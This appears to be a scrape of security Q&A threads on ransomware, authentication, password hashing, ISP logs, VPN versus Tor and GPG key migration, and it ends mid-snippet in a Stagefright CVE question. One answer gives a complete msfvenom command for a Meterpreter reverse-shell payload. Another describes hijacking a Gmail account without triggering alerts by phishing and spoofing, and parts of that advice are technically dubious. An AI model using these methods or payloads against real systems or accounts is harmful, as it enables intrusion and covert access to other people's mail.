If you'd like a more detailed assessment of "how hard" extraction of this specific auth token from your app is, let's run an experiment: send me the APK, and if I can find out the token you pay me $100. If that sounds like a bad idea, ask yourself how you intend to make sure that no one with threatening levels of skill and curiosity ever gets ahold of your app.


Does the WannaCry Ransomware affect VMs which are connected in Network? I have a lot of Windows VMs, viz XP, Server 2003, Vista and 7. All of them are in Network and connected to Internet. Will they be affected by WannaCry if not patched ?

Yes, VMs can be affected as much as "normal" hosts can. It can also affact Linux when you run the code with wine.
See also: https://askubuntu.com/questions/914623/what-is-the-wanna-cry-ransomwares-possible-impact-on-linux-users

Additional information:
Some derivatives of the malware may detect that you are running these OS's in a virtual maschine and don't go off, but i would not consider this as a comfortable position.


How can I add modules to a Payload on Metasploit I know how to create payloads using Metasploit and then script a AutoRun script, so when the victim machine connects back to my Kali Server it execute some actions. Works sweet!

What I wanted to do is create a payload weaponized with actions (Create process, change firewall rules, check VM, etc...) so I can run actions without the need to connect back to my Kali host.

Do you know if this is possible with Metasploit or Meterpreter? In case it isn't possible, is there is any app I can use to create standalone payloads?

This is for a POC and the intention is to test effectiveness of some sandboxing solutions.

I am not sure how much you are familiar with the Meterpreter ecosystem but if you have some experience, this should be easy to achieve through the python bindings in the stageless meterpreter.

The stageless meterpreter has an attribute called EXITINIT which can be set to any arbitrary python script and the session will execute the commands even before the handler is contacted. For this to work, it is important that the python extension is loaded. Both of these tasks can be achieved through:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> EXTENSIONS=stdapi,priv,python EXTINIT=python,/root/met.py -f exe -o met-stageless.exe

As can be seen, the EXTENSIONS are set to load python which will bake it into the generated EXE while the EXITINIT will load the python extension (by default only stapi is loaded) and run the commands specified in the /root/met.py file. If you can code an action in python (pretty much anything), you can run it through the python extension.


advantages of http basic authentication over token-based (e.g. oauth2)? I am interested in the question if there are any possible advantages to securing a given REST API for web clients and mobile apps with http basic authentication (over https of course) over a token-based system as with oauth2 for example (also over https). As I understand it the client has to save some form of a "key" wether it be user/pw or a token of some kind. The big advantages is that a token can be limited in scope (privileges and time/expiration) whereas saved credentials are rather total. So if the client is compromised the damage should be less with a token (depending on its scope).

So my questions is if there are any advantages in e.g. performance or implementation complexity or anything else which would justify using credentials (e.g. http basic with ssl) over tokens?

For the most part, a token-based authentication solution would be preferable, however Basic Auth does offer maximum interoperability and downward compatibility. Any client (even a shell script with curl) could consume your service easily, as long as they had valid credentials.


Large file encryption to mitigate MITM This is both a performance and security question that I'm looking for efficient and long term security with large file pushing over the internet.

My scenario is as follows.
- Server receives a large amount of data (20mb+) from a growing number of clients. This is over a TLS API service publicly exposed.
- Im worried about a MITM attack which could obtain said files.

Q: How would one encrypt and decrypt large files/sections without breaking performance on both ends? Is there an efficient method or Better practice in transmitting the data without increasing their size to heavily?

Note: My grandpa said homing pigeons worked well in the past

TLS provides various ciphers, some are more optimized for hardware (like AES based ciphers) and some for software (like ChaCha20-Poly1305). Thus proper choice of the cipher can reduce the overhead needed for encryption. And use of these ciphers only marginally increases the size of the transferred data.

The other part of performance problem is the initial TLS handshake. But since your API is already TLS anyway you could just reuse the TLS session and thus save both time (less handshakes) and power (less heavy computations).

Another way would be to shift the performance problem by transferring pre-encrypted files. In this case you don't need to securely transmit the full data but only the small encryption key. The bulk of the data could then be transferred using an insecure transport protocol, like pigeons. If this is a better idea in your case highly depends on the unknown details of your actual use case.


Why are honeypots not widely deployed? From what I understand honeypots in addition to honey tokens are meant to prevent malicious insiders. Given recent high profile cases involving malicious insiders (Snowden), why are honeypots not deployed more frequently? Is it because honeypots are not easy to deploy? Or is it because that it is not very effective?

There are legalities of honeypots that need to be considered. Here is a much older article, but does provide some information. In general, from what I've seen, the industry has moved away from honeypots.

For one, their effectiveness hasn't been established on a large enough scale to be of use to companies. Secondly, the legalities have made it difficult to run. For example, Super DMCA kept LaBrea Tarpit from becoming widely adopted.

That doesn't mean honeypots don't have their place, or can't be effective, but their use should be weighed with the problem being solved and the laws in the locale that they are being run.


Gmail Question - Bypassing alerts Is it easy to access someone's gmail account without having that alert pop up to warn the owner?

So, for example, with gmail, if you log in somewhere different from your usual login, it alerts you that such and such ip address wants to access your email, how easy would it be to bypass that alert that goes to the owner and access someone's account? As in, is it a simple task to gain access to a gmail account without having that alert pop up to the owner? Would it be easy for someone to be able to live monitor what you're doing on your screen at all times?

I ask because my gmail has been accessed by someone unauthorized and I'm trying to figure out how it's being done.

One way this could be accomplished is by spoofing IP and MAC address information for the victim. You would build a website that phishs that information from them (could be a google clone and harvest creds too), and then using tools like macspoof or ipspoof, assume their identity and from Google's eyes, their computer. This would potentially allow you to hijack a Google account without alerting to the compromise of the user.

Edit:

Another potential attack vector is a rogue access point attack which ends up having the same outcome through a different methodology. A rogue access point is configured to decrypt SSL connections and extract plaintext credentials. Systems of this nature are widely available and easy to use. The Wi-Fi pineapple is a prime example of this.


Security of Quotation Based Passwords As XKCD (and many others) have explained so clearly, and proved with some simple combinatrics, password length is significantly more important to security than complexity.

However, long passwords are hard to remember so it is often easier to use a phrase or a quotation from a favourite book or poem meaning a password can often hit 40-50 characters. Should this be considered secure or are there known attacks that use large dictionaries of quotations as an attack vector?

Not true actually, crackers these days include dictionaries, combinations of words, common replacement strategies (l33tsp34k) and classic suffixes and prefixes (e.g. "staplebattery!").
The 'correcthorsebatterystaple' or whatever it was won't work anymore as it isn't complex enough. So if you must use quotations, add some symbols between words or better yet (cliche alert) use a password manager that provides more secure passwords by default.

See this post by Bruce Schneier (already from 2014 mind you!): https://www.schneier.com/blog/archives/2014/03/choosing_secure_1.html

And this previous answer: Is "the oft-cited XKCD scheme [...] no longer good advice"?


What information do ISPs delete after retention period? Whenever I read something like "ISPs store your data" or "ISPs delete your data after 6 months" or anything like that, I imagine data to be the following things:
(1) At what time I accessed the Internet, got what IP address (in case of dynamic IPs) and accessed what website with it.
(2) How long I remained on that website.
(3) And of course, regarding the "I" in (1), they also know everything about me, including my name, phone number, actual address etc.. (i.e., the subscriber's details)
So, when the police subpoena ISPs to resolve an IP address at a particular time on a particular day to a real person (the subscriber) and their details, they do have all the records regarding who had what IP and when? This is how police find criminals, right?
What happens when ISPs delete logs (as most ISPs do due to financial constraints), and police approach them asking to resolve an IP address at a particular time on a particular day to a real person and their details (contact, address etc..)?
Does "deleting logs" mean deleting the record of which subscriber was assigned what dynamic IP address and when? Or ISPs never delete data about who had what IP and when, but just delete what they had accessed and for how long?
I suppose that merely keeping records forever of who had which IP and when is cheap (compare with keeping a record of all the videos someone has ever watched), and beneficial to law enforcement.
Related questions that I checked:
What are the laws regarding ISP recording IP addresses? How would they know who had which?
Do ISP’s in America keep IP assignment logs forever?
The answers did not specifically address whether "deleting" means deleting the record of who had which IP and when (which is a cheap but extremely useful thing to keep indefinitely).

In a nutshell, the duration and scope of data retention is dictated by legal requirements, and then operational/business decisions may come into play. ISPs may or may not be allowed to keep logs for longer than legally necessary but storage and maintenance has a cost. Unless there is value in mining that particular data, the incentive for an ISP to keep logs forever is low.
The most important (and possibly the only) information that the ISP can provide is whose connection was assigned what IP address at a given time. The aim being to identify a customer from an IP address recorded somewhere else (eg in web servers logs).
The ISP probably doesn't have so much insight into your browsing activity. If you use their DNS they may figure out what websites you visited, but many people use a third-party DNS like Google, Quad9 etc. Even if the ISP tapped your whole traffic because you are a "person of interest" most of it would be encrypted anyway (https mostly).
If the police need more details about what you did on some website where your IP address was recorded, then the police would have to subpoena the webhost or whatever. The ISP has only part of the information, which is crucial for investigations but very limited at the same time.
Read the terms and conditions of your ISP and see if there is any mention of what data is logged.


Do non-browser clients work around Gmail's 2-factor authentication? If you use a client like mutt to access your mail, you probably know that it doesn't support 2-factor authentication. It still prompts only for a password - either your account password or, in the case of Gmail, possibly your application-specific Gmail password.

My concern is that attackers can work around Gmail's 2-factor authentication by logging in through a client like mutt. While we can set application-specific passwords, we can't do that for every single client that exists, right? And yes, if someone has one's password, then the game is already over; but 2-factor is supposed to be an additional line of defense, and this appears to undermine that additional defense.

Is this a real threat? What is the recommended way of dealing with it?

Application-specific passwords are the only workaround currently provided for applications which don't support two-factor authentication to Google. This does effectively bypass two-factor authentication, but only to a certain degree.

Obviously, the primary risk is that a compromised application-specific password can be used to access your account without requiring a second factor for authentication. Google provides a certain amount of mitigation to this risk by making the passwords much stronger than the typical user-generated password, and also by only displaying a given app-specific password once.

You should also be mitigating this by ensuring security of the environment where the app-specific password is displayed and stored, only using a given app-specific password once, and never copying an app-specific password to any location except in the password field for the application that needs it. Also, as always, don't use the application on networks that you don't trust.

You should also take advantage of the mechanisms Google provides for managing and monitoring app-specific passwords. Particularly:

Google alerts you to whenever a new app-specific password is created. Pay attention to these.
You can create custom names for app-specific passwords. Give them names that make sense to you.

Under "Select app" or "Select device" choose "Other (Custom Name)".

You can see when the last time was that an app-specific password was used. For applications that are constantly checking in, this may not be very useful information. However, if you happen to know a device has been offline for awhile and you see recent use, this can still be an indicator of trouble.
You can, and should, revoke app-specific passwords that are no longer in use or which show signs of abuse.

In the end, creation of an app-specific password effectively requires that you accept the risk of allowing that application to have permissions to your account without a second authentication factor.


Increasing the Calculation Cost of Hashing Is this a secure way to increase the calculation cost of md5 or sha1?

public static byte[] increaseHashComplexityMd5(byte[] hash, int loops)
{
    for(int loop = 1; loop <= loops; loop++)
    {
        hash = md5(encryptAes(hash, reverseBits(hash)));
    }
    return hash;
}

public static byte[] increaseHashComplexitySha1(byte[] hash, int loops)
{
    for(int loop = 1; loop <= loops; loop++)
    {
        hash = sha1(encryptAes(hash, reverseBits(hash)));
    }
    return hash;
}

reverseBits reverses every bit of every byte, so 12345678 90111213 becomes 31211109 87654321.
encryptAes encrypts the hash by the hash-with-reversed-bits, will result in a 16 x blocks result.
md5/sha1 hashes the given bytes.

My goal is to make it harder to bruteforce hashes. On both platforms (C++ and Java), I already have the hash, aes and reverseBits functions, so something like this would be ideal. Will this do it, or is this insecure?

No, it is not a "secure" way. It is a home-made construction that merely throws together hash functions and symmetric encryption under the hope that the resulting mixture will be strong in some way.

Truth is, in the specific case of password hashing (as opposed to simple hashing, which is a very different activity), such slapping of algorithms together tends to work. But you still managed to get several things wrong. Namely:

Your system is not salted, so when an attacker must crack several passwords, he can optimize things with parallelism and precomputed tables.
The point of using many iteration is to make each password try expensive, but the attacker has the resource to use dedicated hardware that will be more efficient than yours. In this case, both MD5 and AES can be considerably sped up on off-the-shelf GPU (for AES, using bitslicing techniques, as in the Käsper-Schwabe implementation), thus allowing the attacker to hash more passwords per dollar than you.

Read this answer for more information on what is needed for good password hashing. The short summary is: use bcrypt, with one of the already available libraries. It will be stronger than your creations, and easier to implement since it is already done.


Can I VPN a phone's connection to my home network, and then apply my home firewall to my phones network connections? I have a decent firewall/router at home, and I was wondering whether it would be possible to use my home firewall for the connections that my phone makes, even when I'm not at home.

It would mean better security when connecting to open wifi networks with my phone, and more explicit control over the connections that it makes. So, assuming that my phone will have no problems with the VPN connection, would it be technically possible to:

Make a VPN connection from my phone to my home network
Route any connections that my phone wants to make through my home router/firewall, as if it were on my home network?

Is such a thing technically possible?

Supposing both your VPN (server and client) support your desired configuration than absolutely what you're asking is technically feasible.

You'll need to configure traffic (on the server side) from clients to flow to the Internet and your client will need to tunnel all traffic and disallow local (local network where the client is) traffic to reach your client.

For more specific guidance you'll, of course, need to provide details.


Migrating GPG master keys as subkeys to new master key Currently I have 3 private GPG pairs which are all master keys.
I want to convert these keys into subkeys for a new key pair (and keep that in the vault).

I have read the following thread http://atom.smasher.org/gpg/gpg-migrate.txt which involes some sort of hacking the binary file to convert one master key into a subkey and replace it with another.

Is it possible to combine my different keys into a new single key pair so they still remain valid, and I can refer people to signing my master key, so I don't have to be afraid of losing my secret master key.

What I have

Here I have 3 different keys (the private key is available).

$ gpg2 -k
----------------------------------
pub   2048R/712A2BBD 2013-01-29
uid                  Test Key 1
sub   2048R/F0B63FDA 2013-01-29

pub   2048R/72838B89 2013-01-29
uid                  Test Key 2
sub   2048R/A19F06EC 2013-01-29

pub   2048D/AC349218 2013-03-21
uid                  Test Key 3
sub   2048g/179E9F47 2013-03-21

What I want

I like to convert the these keys into subkeys and move them to a new master key.
It should look something like this instead:

pub   4096R/CB577A43 2013-03-21
uid                  Master Key
sub   2048R/712A2BBD 2013-01-29
sub   2048R/F0B63FDA 2013-01-29
sub   2048R/72838B89 2013-01-29
sub   2048R/A19F06EC 2013-01-29
sub   2048D/AC349218 2013-03-21
sub   2048g/179E9F47 2013-03-21

Is this even possible to do? Or Are my best hope to revoke my 3 keys and start from scratch and create a new key that fits my use.

What I done so far

Using the instructions from http://atom.smasher.org/gpg/gpg-migrate.txt

I managed to export and extracted my keys using gpgsplit.
I've also changed the secret_key into a secret_subkey by changing the first byte från 0x95 to 0x9d

So that pgpdump says the secret is is a secret subkey

~/keytest/key1❯ pgpdump/pgpdump 000001-005.secret_subkey
Old: Secret Subkey Packet(tag 7)(920 bytes)
        Ver 4 - new
        Public key creation time - Tue Jan 29 13:09:07 CET 2013
        Pub alg - RSA Encrypt or Sign(pub 1)
        ...

I've then merge all keys together into a new key my concatenating the files.

$ gpg2 --export-secret-key CB577A43 > master.gpg
$ cat master.gpg key1/* key2/* key3/* > newkey.gpg
# Removed ~/.gnupg
$ gpg2 --import newkey.gpg
# Ended up with this:
$ gpg -k
----------------------------------
pub   4096R/CB577A43 2013-03-21
uid                  Master Key
sub   2048R/208FAE4C 2013-03-21

~/keytest❯ gpg -K
----------------------------------
sec   4096R/CB577A43 2013-03-21
uid                  Master Key
ssb   2048R/208FAE4C 2013-03-21
ssb   2048R/712A2BBD 2013-01-29
uid                  Test Key 1
ssb   2048R/F0B63FDA 2013-01-29
ssb   2048R/72838B89 2013-01-29
uid                  Test Key 2
ssb   2048R/A19F06EC 2013-01-29
ssb   2048D/AC349218 2013-03-21
uid                  Test Key 3
ssb   2048g/179E9F47 2013-03-21

Which doesn't look so bad. But if I import my keys from the keyserver gpg2 --recv-keys 712A2BBD 72838B89 AC349218 to get the signatures back. It turns into this:

$ gpg -k
----------------------------------
pub   4096R/CB577A43 2013-03-21
uid                  Master Key
sub   2048R/208FAE4C 2013-03-21

pub   2048R/712A2BBD 2013-01-29
uid                  Test Key 1
sub   2048R/F0B63FDA 2013-01-29

pub   2048R/72838B89 2013-01-29
uid                  Test Key 2
sub   2048R/A19F06EC 2013-01-29

pub   2048D/AC349218 2013-03-21
uid                  Test Key 3
sub   2048g/179E9F47 2013-03-21

What remains

After this I have 4 public keys in my keyring. I wanted to move these keys so they are dependent on the master key CB577A43 like above under What I want.

It can actually be done.

The instructions at atom.smasher.org/gpg/gpg-migrate.txt are now out of date.

Try this. As always, make backups, because it's really easy to mess it up.

So these are your 'old' keys:

$ gpg -K
----------------------------------
sec   2048R/712A2BBD 2013-01-29
uid                  Test Key 1
ssb   2048R/F0B63FDA 2013-01-29

sec   2048R/72838B89 2013-01-29
uid                  Test Key 2
ssb   2048R/A19F06EC 2013-01-29

sec   2048D/AC349218 2013-03-21
uid                  Test Key 3
ssb   2048g/179E9F47 2013-03-21

And you have created a new "master key" which has no subkeys:

sec   4096R/CB577A43 2013-03-21
uid                  Master Key

For simplicity's sake, I will only rehearse the procedure using the first of your "old" keys:

sec   2048R/712A2BBD 2013-01-29
uid                  Test Key 1
ssb   2048R/F0B63FDA 2013-01-29

Using the same procedure, you can add all of them. I recommend you add all of them at the same time, because every time you break the keys and then reassemble them you have to recreate the binding signatures, and that is a pain.

1. Use gpgsplit to split the "old" key into its constituent packets.

$ gpg --export-secret-keys 712A2BBD | gpgsplit -vp 712A2BBD_

Now look at the files it created:

$ ls
----------------------------------
712A2BBD_000001-005.secret_key
712A2BBD_000002-013.user_id
712A2BBD_000003-002.sig
712A2BBD_000004-007.secret_subkey
712A2BBD_000005-002.sig

The first file, "712A2BBD_000001-005.secret_key" contains the packet for the main private key (packet type tag 5, hence the "005") of your "old" key, "712A2BBD". (You will need this, but you will need to convert it into a subkey if you want to migrate it into your new "master key". In keys generated using standard settings on GPG, the main private key normally has usage flags "S" for sign and "C" for certify, and does not have "E" for encrypt, which is normally why the key is generated with an "E" subkey. However, because of the procedure we are using, when eventually the main key is turned into a subkey and migrated to your new "master key", it will have all usage flags ("SCEA") enabled. This probably makes it less secure, and is probably a behaviour to be avoided.)

The second file, "712A2BBD_000002-013.user_id", is the packet for the user id (packet type tag 13). (You won't need this).

The third file, "712A2BBD_000003-002.sig", is a binding signature (packet type tag 2) for these packets. (You won't need this).

The fourth file is the packet for the secret subkey (F0B63FDA) (packet type tag 7). (You will need this. Typically, a subkey like this has the "E" usage flag, meaning it is solely for encryption. However, in the process of importing it to your new "master key" it will acquire all of the usage flags, ("SCEA"), which is probably not a good thing.)

The fifth file, "712A2BBD_000005-002.sig", is the binding signature (packet type tag 2) for the subkey. You won't need it.

Save the two files you need and remove the others.

2. Change the main key (712A2BBD) into a subkey.

You don't need to do anything to the subkey (F0B63FDA) in order to migrate it to your new "master key", but the main key (712A2BBD) of your old key needs to be altered in order to make it work.

Open the main key, "712A2BBD_000001-005.secret_key", in an editor capable of making hex or binary edits. I used ghex:

$ ghex 712A2BBD_000001-005.secret_key

If you are using a hex editor, the first byte will be "95". Change it to "9D".

If you are using a binary editor, the first byte will be "10010101". Change it to "10011101".

Save it, and then use pgpdump to see if it you have been successful in changing it to a subkey. If you have been successful, you will see the following output:

$ pgpdump 712A2BBD_000001-005.secret_key | head -1
-----------------
Old: Secret Subkey Packet(tag 7)(1836 bytes)

3. Add a "dummy" subkey to your new "master key" for each of the subkeys you want to add.

Just like in the tutorial at atom.smasher.org,   you will need to create new "dummy" subkeys on your "master key" in order to make sure you have keybinding signatures on the master key which can accomodate (at least at first) the migrating subkeys.

Think of it as creating "slots" for the old subkeys to slot into. You will need as many slots as keys you want to add.

In the present example, we'll make two dummy subkeys, but if you want to add all of the keys you listed in your original post, you'll want to make six.

$ gpg --expert --edit-key CB577A43
----------------------------------------
gpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

pub  4096R/CB577A43  created: 2013-03-21  expires: never       usage: SC
                     trust: unknown      validity: unknown

gpg>addkey

Make sure, while going through the subkey generation wizard (which is in expert mode, thanks to the --expert option above) that when you generate your new "dummy" subkey, it is of the same...

key strength (2048, 4096, etc)
type (DSA, RSA, elgamal)
usage (encrypt, sign)

...as the subkey you intend to add in that "slot".

Since we're adding two subkeys, we finish up with two new "dummy" subkeys on the "master key". Save and exit:

pub  4096R/CB577A43  created: 2013-03-21  expires: never       usage: SC
                         trust: unknown      validity: unknown
sub  2048R/AAAAAAAA  created: 2014-01-01  expires: never       usage: S
sub  2048R/BBBBBBBB  created: 2014-01-01  expires: never       usage: E

gpg> save

4. Split your new "master key" - along with its new subkeys - into its constituent packets.

$ gpg --export-secret-keys CB577A43 | gpgsplit -vp CB577A43_

You should end up with something like the following:

$ ls
----------------
CB577A43_000001-005.secret_key
CB577A43_000002-013.user_id
CB577A43_000003-002.sig
CB577A43_000004-007.secret_subkey
**CB577A43_000005-002.sig**
CB577A43_000006-007.secret_subkey
**CB577A43_000007-002.sig**

The fifth and seventh files (the ones I have put in **s) are the subkey keybinding signature packets that were generated when you generated the "dummy subkeys." You'll need these.

The fourth and sixth files are the actual "dummy subkey" packets. They can now be safely deleted (the only files you should delete.)

$ rm CB577A43_000004-007.secret_subkey CB577A43_000006-007.secret_subkey

5. "Slot in" your migrating "subkeys" into the split master key.

Steps one and two left you with two files:

712A2BBD_000001-005.secret_key (the original main key of your "old key", now edited into a subkey)
712A2BBD_000004-007.secret_subkey (the original subkey of your "old key".)

Now copy these into the folder with the split constituents of the "master key" and rename these files so that they replace the "dummy subkey" files that we just deleted.

$ mv 712A2BBD_000001-005.secret_key CB577A43_000004-007.secret_subkey
$ mv 712A2BBD_000004-007.secret_subkey CB577A43_000006-007.secret_subkey

You should once again have seven (in this example) files, but files four and six are now your old keys, all set and ready to become subkeys of your new master key.

$ ls
----------------
CB577A43_000001-005.secret_key
CB577A43_000002-013.user_id
CB577A43_000003-002.sig
**CB577A43_000004-007.secret_subkey**
CB577A43_000005-002.sig
**CB577A43_000006-007.secret_subkey**
CB577A43_000007-002.sig

6. Concatenate the files into private and public key files, ready for import

Put the files together so that they are concatenated consecutively into single files, for ease of import later.

$ cat CB577A43_000001-005.secret_key CB577A43_000002-013.user_id CB577A43_000003-002.sig CB577A43_000004-007.secret_subkey CB577A43_000005-002.sig CB577A43_000006-007.secret_subkey CB577A43_000007-002.sig > concatenated_CB577A43.secret

Use the same command, but pipe the output to gpgsplit in order to create public counterparts, before redirecting to a new file:

$ cat CB577A43_000001-005.secret_key CB577A43_000002-013.user_id CB577A43_000003-002.sig CB577A43_000004-007.secret_subkey CB577A43_000005-002.sig CB577A43_000006-007.secret_subkey CB577A43_000007-002.sig | gpgsplit --no-split --secret-to-public > concatenated_CB577A43.public

7. Back up your keyring and then delete the "old" AND "master" keys, both public and private, from your keyring.

$ cp -R ~/.gnupg/ ~/.gnupg_backup
$ gpg --delete-secret-and-public-keys CB577A43 712A2BBD

8. Download and build gnupg-1.2.0.

Recently whenever anyone tries to follow the tutorial at atom.smasher.org, the problem they run into is that, with the newest versions of gpg, once they reassemble the key and add it to their keyring, the added subkeys 1) have no usage flags, and 2) they are unable to reset the expiry date, as advised in the atom.smasher.org tutorial, a necessary step to creating new and valid keybinding signatures. The result is that after one export/import cycle, the keys are deemed invalid by GPG, and disappear from the private keyring.

In order to successfully import the keys, you have to download and build an old version of gnupg: a version from 2002 no less. One you have build it, you will be able to reset the expiry dates on the new keys, and successfully recreate valid keybindings for the keys.

Download the old gnupg.

$ wget ftp://mirror.tje.me.uk/pub/mirrors/ftp.gnupg.org/gnupg/gnupg-1.2.0.tar.bz2
$ tar -xjf gnupg-1.2.0.tar.bz2
$ cd gnupg-1.2.0/
$ ./configure
$ make

Navigate into the g10 folder, which contains your newly build gpg binary

$ cd g10

In order to use this binary, instead of the system-wide build of gpg, which is more recent, you have to type the absolute path to the binary. If you are in the same folder, use ./gpg, for example:

$ ./gpg --list-keys

8. Append the new assembled "master key" file with imported subkeys to your public and private keyrings.

Don't import the keys the normal way, because the keybinding signatures don't check out, with the result that the imported subkeys wouldn't import the normal way. Instead, cat the files to the end of your public and private keyrings.

$ cat concatenated_CB577A43.secret >> ~/.gnupg/secring.gpg
$ cat concatenated_CB577A43.public >> ~/.gnupg/pubring.gpg

Check that they have gotten in there by using the gnupg-1.2.0 to list the keys:

$ ./gpg --list-keys
-----------------
pub   4096R/CB577A43 2013-03-21
uid                  Master Key
sub   2048R/712A2BBD 2013-01-29
sub   2048R/F0B63FDA 2013-01-29

9. Edit the keys using the gnupg-1.2.0.

Make sure to navigate back to the build folder for gnupg-1.2.0/g10, and invoke the built binary to edit your newly imported, newly assembled master key, complete with your imported old subkeys:

$ ./gpg --edit-keys CB577A43
-----------------
sec  4096R/CB577A43  created: 2013-03-21 expires: never
ssb  2048R/712A2BBD  created: 2013-01-29 expires: never
ssb  2048R/F0B63FDA  created: 2013-01-29 expires: never

First, reset the passwords.

Command> passwd

It is likely that all of your old keys had different passwords from your new master key. If you reset the password now, it will prompt you for each of the passwords of the old keys in turn (along with the subkey id) and when you have inputted them all properly, it will ask you for a new key. Once this is done, they will all have the same password, avoiding weirdness later.

Second, reset the expiry date on ALL of the keys. Begin with the main master key:

Command> expiry

And then work your way through each of the subkeys, changing the expiry date on each of them.

Command> key 1
Command> expiry
Command> key 1
Command> key 2
Command> expiry
Command> key 2
Command> key 3

And so on

Make sure you change it to a value it was not on already, or there will be no change. You can change it back to the original value later on: what is required now is a change, so that gpg-1.2.0 can create new subkey binding signatures.

Once all of this is done save.

Command> save

gnupg-1.2.0 will exit and save the new keybinding signatures, validating the migration of your old keys into your new master key.

10. Now edit the keys using the standard (current) gnupg, to see if it worked.

Open the same key for editing using the standard, system-wide version of gpg, to see if it worked. If it worked, you will see two things:

The expiry dates will be the new expiry dates you have just changed to in step 9, and not the original ones.
The usage flags to the right of the subkeys will display "usage:SCEA"

.

$ gpg --edit-key CB577A43
--------------------------
pub  4096R/CB577A43  created: 2013-03-21  expires: [newdate]     usage: SC
                     trust: unknown      validity: unknown
sub  2048R/712A2BBD  created: 2013-01-29  expires: [newdate]     usage: SCEA
sub  2048R/F0B63FDA  created: 2013-01-29  expires: [newdate]     usage: SCEA

If it did not work, the usage flags will be blank, and the expiry date will now show the change you just made in step 9.

$ gpg --edit-key CB577A43
--------------------------
pub  4096R/CB577A43  created: 2013-03-21  expires: **never**     usage: SC
                     trust: unknown      validity: unknown
sub  2048R/712A2BBD  created: 2013-01-29  expires: **never**     usage:
sub  2048R/F0B63FDA  created: 2013-01-29  expires: **never**     usage:

Finally, you need to put it through one export/import cycle, and delete the keys in between. If it survives this, the procedure has worked.

$ gpg --export-secret-keys CB577A43 > CB577A43_new.secret
$ gpg --export CB577A43 > CB577A43_new.public
$ gpg --delete-secret-and-public-keys CB577A43
$ gpg --import CB577A43_new.secret CB577A43_new.public
$ gpg --edit-key CB577A43
--------------------------
pub  4096R/CB577A43  created: 2013-03-21  expires: [newdate]     usage: SC
                     trust: unknown      validity: unknown
sub  2048R/712A2BBD  created: 2013-01-29  expires: [newdate]     usage: SCEA
sub  2048R/F0B63FDA  created: 2013-01-29  expires: [newdate]     usage: SCEA

11. Final tasks.

Assuming it worked, you will now need to cross certify your subkeys, so that they can create and verify signatures.

$ gpg --edit-key CB577A43

And from the gpg edit prompt:

gpg> cross-certify

You will also need to reset trust:

gpg> trust

Finally, make sure to test the key rigorously, to make sure it works before you distribute it. I refer back to the atom.smasher.org tutorial for these final steps:

  check all expiration dates and preferences. some of these operations may have changed your expiration dates and preferences; reset as
  necessary.
  test out all key components for creating and verifying signatures, and encryption/decryption. use the bang (!) to force each (sub)key:
  create & verify signatures:

$ date | gpg -u '712A2BBD!' --clearsign | gpg -v --verify
$ date | gpg -u 'F0B63FDA!' --clearsign | gpg -v --verify

  encrypt/decrypt:

$ date | gpg -ear '712A2BBD!' | gpg -v --decrypt
$ date | gpg -ear 'F0B63FDA!' | gpg -v --decrypt

  after testing out the keys locally, send your new public key to one or two people and test all key components (sending signed/encrypted
  messages to each other using all key components). make sure that they
  first delete (from their keyrings) your old key! and make sure that
  they understand that the key should NOT be circulated until all
  functions are verified to be working!
  when putting the new key into circulation, it's probably a good idea to expire/revoke the old key. include a revocation comment that
  specifies the new key ID and instructions to delete the old key from
  the keyring.
  note on key revocation: according to the OpenPGP standards a revocation generated by a sub key will be ignored, unless that subkey
  has been designated (by the primary key) as a revocation key. GnuPG
  seems to behave correctly, but some versions of PGP(tm) may not. if
  someone is claiming that your new key is revoked, have then remove all
  of your old and current keys from their keyring: then re-import your
  current key(s).


Difference between VPN server and Tor node server I've been reading how VPN service and Tor network works, and I can't understand the difference between the VPN server and Tor node.

I know that in the Tor network there are several nodes, but what would be the difference between the Tor network and network made from several VPN servers if they communicate (the first node encrypts/hides request user identity and last node decrypts traffic) same as in Tor network?

In a way you are comparing apples with trees. VPN is not a specific technology but a general concept with multiple often significantly different implementations. Tor instead is a concrete protocol.

But VPN is essentially an encrypted tunnel between two communication peers. If the clients is putting multiple encrypted tunnels inside each other (not after each other but inside) you essentially get something like Tor: you have multiple layers of encryption done by the client, the client defines which path through the VPN the data take and only the final exit node of the VPNs can see the original traffic - all others see only traffic encrypted from another VPN.

There are some significant differences though: when manually putting multiple layers of VPN inside each other one defines usually only a single path through the network. Tor instead will take care that different connections take different routes involving different exit nodes and also different intermediate nodes.  This increases the level anonymity since creating an association between different flows is way harder even for an advanced attacker if all flows go a different way than if they would use all the same way through some multi-layered VPN setup. Additionally the protocol used by Tor is specifically designed to bypass deep inspection, i.e. it can mimic other protocols so it does not get blocked and it also has some protections against analysis of traffic patterns. These are all things one does not find typically in common VPN implementations.

Apart from that VPN usually work at the network layer and thus covers any IP traffic while Tor only covers TCP traffic and only for applications which are specifically designed to send the TCP traffic through something like Tor (for example by using Tor as a SOCKS proxy). Insofar Tor is from the configuration more comparable to a proxy instead of a real VPN. This kind of setup has the additional advantage that OS fingerprinting at the IP or TCP level is not possible, i.e. all what gets fingerprinted this way is the OS of the exit node.


Salting in encryption (rather than hashing) I am aware of the benefits of adding a salt to values that are hashed using a one-way function. Is adding a salt to a value that is being encrypted (using symmetric encryption) considered to be good practice as well?

The salt (unlike the encryption key) is likely to be stored in the same data source as the encrypted data. I'm wondering if this adds a weakness, rather than improve security (for example: by making it possible to decipher the encryption key).

A salt is a cryptographically-secure random non-repeating value, added to the password before hashing it, rendering rainbow tables useless and making it impossible to attack more than one password by attacking one hash.

An initialization vector (IV) is a cryptographically-secure random non-repeating value added as the initial state to a block cipher algorithm depending on the mode of operation, preventing the cipher from producing the same ciphertext for similar blocks of the plaintext, thus denying the attacker the opportunity to infer relationships between segments of the encrypted message.

Both a salt and an IV aren't secret information, in fact, in most cases the IV is transported with the message itself. Implemented correctly, an IV shouldn't make it any easier to "crack" the encryption. On the contrary, it should make it even harder. The security of the cipher system should depend on the secrecy of key, and only on the secrecy of the key, AKA Kerckhoffs's principle:

  That the security of a cipher system should depend on the key

Oh, also, don't implement your own crypto and use it in a production environment, AKA Don't be a Dave.


CVE-2015-3864 - Android Stagefright - how Integer Overflow happens here? I am trying to understand how "Integer Overflow" happens here and how it works.

The vulnerability exists in the chunk of “tx3g”. Chunk_size is the unit which overflows the sum of size. That's to say, the memory assigned is less than the size. Thus the memcpy function will cause heap overflow.

case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
